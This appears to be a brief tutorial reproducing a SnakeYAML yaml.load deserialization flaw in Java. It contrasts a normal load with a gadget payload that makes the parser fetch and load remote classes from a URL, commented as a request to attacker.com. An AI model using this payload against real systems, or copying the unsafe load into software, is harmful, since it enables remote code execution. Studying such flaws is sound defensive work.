yaml.load反序列化漏洞复现

import org.yaml.snakeyaml.Yaml;
public class Tester {
	public static void main(String[] args) {
	//正常的使用方式
	String normal = "key: hello yaml";
	Yaml yaml = new Yaml();
	Object obj = yaml.load(normal);
	System.out.print(obj);
	}
}

{key=hello yaml}

import org.yaml.snakeyaml.Yaml;
public class Tester {
	public static void main(String[] args) {
	//可触发反序列化漏洞的使用方式
	String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
                + "[[!!java.net.URL [\"http://127.0.0.1:8000\"]]]]";
	Yaml yaml = new Yaml();            // Unsafe instance of Yaml that allows any constructor to be called.
	Object obj = yaml.load(malicious); // Make request to http://attacker.com
	}
}